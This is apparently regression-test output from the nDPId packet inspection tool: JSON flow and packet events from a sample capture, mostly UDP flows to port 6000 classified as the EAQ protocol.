+00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1432820990681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.66","src_port":33356,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1432820989681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.67","src_port":60013,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1432820989681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.67","src_port":60013,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1432820998121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.67","src_port":37985,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1432820998121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.67","src_port":37985,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1432820991681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.67","src_port":40058,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1432820991681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.67","src_port":40058,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1432821000121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.68","src_port":47714,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821000,"pkt_ts_usec":121411,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rEKCAAByMKBRLpiF3AAGNI4AAAAAgAADd4ABmm8AACQAA=="} +00413{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821001,"pkt_ts_usec":121380,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47MKCAAByMKEQqvLF3AAGLbWAAAAAgAADd4ABpC3AACQAA=="} +00413{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821001,"pkt_ts_usec":184949,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsACFAABARE5PIwoRCCggAARdwq8sAGObWAAAAAgAADd4ABpC3AABgAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":118,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1432821001185,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.67","src_port":48563,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821001,"pkt_ts_usec":185071,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR2rIKCAAByMKNQ72zF3AAGJr5AAAAAgAADd4ABpGrAACQAA=="} +00413{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821002,"pkt_ts_usec":181775,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47IKCAAByMKEQ5kRF3AAGFLyAAAAAgAADd4ABwdUAACQAA=="} +00413{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821002,"pkt_ts_usec":235699,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsACJAABARE5HIwoRDCggAARdwmREAGILyAAAAAgAADd4ABwdUAABgAA=="} +00413{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821002,"pkt_ts_usec":235821,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47EKCAAByMKERM32F3AAGINPAAAAAgAADd4AB6IQAACQAA=="} +00414{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821002,"pkt_ts_usec":314892,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsACNAABARE4\/IwoRECggAARdwzfYAGLNPAAAAAgAADd4AB6IQAABgAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":123,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1432821002314,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.66","src_port":56128,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821002,"pkt_ts_usec":314953,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4rMKCAAByMKFQttAF3AAGEydAAAAAgAADd4AB8p6AACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":124,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1432821003311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.67","src_port":57004,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821003,"pkt_ts_usec":311322,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4rIKCAAByMKFQ96sF3AAGCJUAAAAAgAADd4AB\/FWAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":125,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1432821004311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.66","src_port":36552,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821004,"pkt_ts_usec":311383,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR37MKCAAByMKIQo7IF3AAGFyuAAAAAgAADd4ACQPgAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":126,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1432821005311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.68","src_port":53059,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821005,"pkt_ts_usec":311841,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4rEKCAAByMKFRM9DF3AAGCEZAAAAAgAADd4ACQH4AACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":127,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1432821006311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.68","src_port":43934,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821006,"pkt_ts_usec":311749,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR37EKCAAByMKIRKueF3AAGOVGAAAAAgAADd4ADF5sAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":128,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1432821007311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.66","src_port":47346,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821007,"pkt_ts_usec":311352,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4bMKCAAByMKGQrjyF3AAGNkAAAAAAgAADd4ADF9gAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":129,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1432821008311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.68","src_port":59098,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821008,"pkt_ts_usec":311902,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4bEKCAAByMKGRObaF3AAGKp9AAAAAgAADd4ADF\/5AACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":130,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1432821009311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.67","src_port":50175,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821009,"pkt_ts_usec":311383,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR0rIKCAAByMKVQ8P\/F3AAGL3BAAAAAgAADd4ADGCRAACQAA=="} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1432821001185,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.67","src_port":48563,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1432821001185,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.67","src_port":48563,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1432821003311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.67","src_port":57004,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1432821003311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.67","src_port":57004,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1432821004311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.66","src_port":36552,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1432821004311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.66","src_port":36552,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":14,"flow_first_seen":1432820948836,"flow_last_seen":1432820949347,"flow_tot_l4_data_len":10113,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2784,"flow_avg_l4_data_len":722,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.194.119.24","src_port":40467,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1432821008311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.68","src_port":59098,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1432821008311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.68","src_port":59098,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1432821005311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.68","src_port":53059,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1432821005311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.68","src_port":53059,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1432821007311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.66","src_port":47346,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1432821007311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.66","src_port":47346,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":9,"flow_first_seen":1432820948562,"flow_last_seen":1432820948767,"flow_tot_l4_data_len":848,"flow_min_l4_data_len":20,"flow_max_l4_data_len":568,"flow_avg_l4_data_len":94,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.194.119.48","src_port":53497,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1432821000121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.68","src_port":47714,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1432821000121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.68","src_port":47714,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1432821002314,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.66","src_port":56128,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1432821002314,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.66","src_port":56128,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1432821006311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.68","src_port":43934,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1432821006311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.68","src_port":43934,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1432821009311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.67","src_port":50175,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":131,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1432821009311,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.67","src_port":50175,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 